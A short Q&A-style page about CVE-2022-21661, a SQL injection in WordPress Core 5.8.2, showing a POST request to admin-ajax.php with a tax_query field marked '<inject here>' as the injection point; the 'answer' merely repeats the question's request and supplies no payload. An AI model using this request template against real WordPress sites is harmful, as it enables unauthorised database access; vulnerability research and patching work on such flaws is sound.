WordPress Core 5.8.2 - 'WP_Query' SQL Injection CVE-2022-21661

Question

Vulnerable endpoint with injection point.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
[Redacted]
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=[redacted]&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject here>"]}}}

Answer 1

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
[Redacted]
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=[redacted]&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject here>"]}}}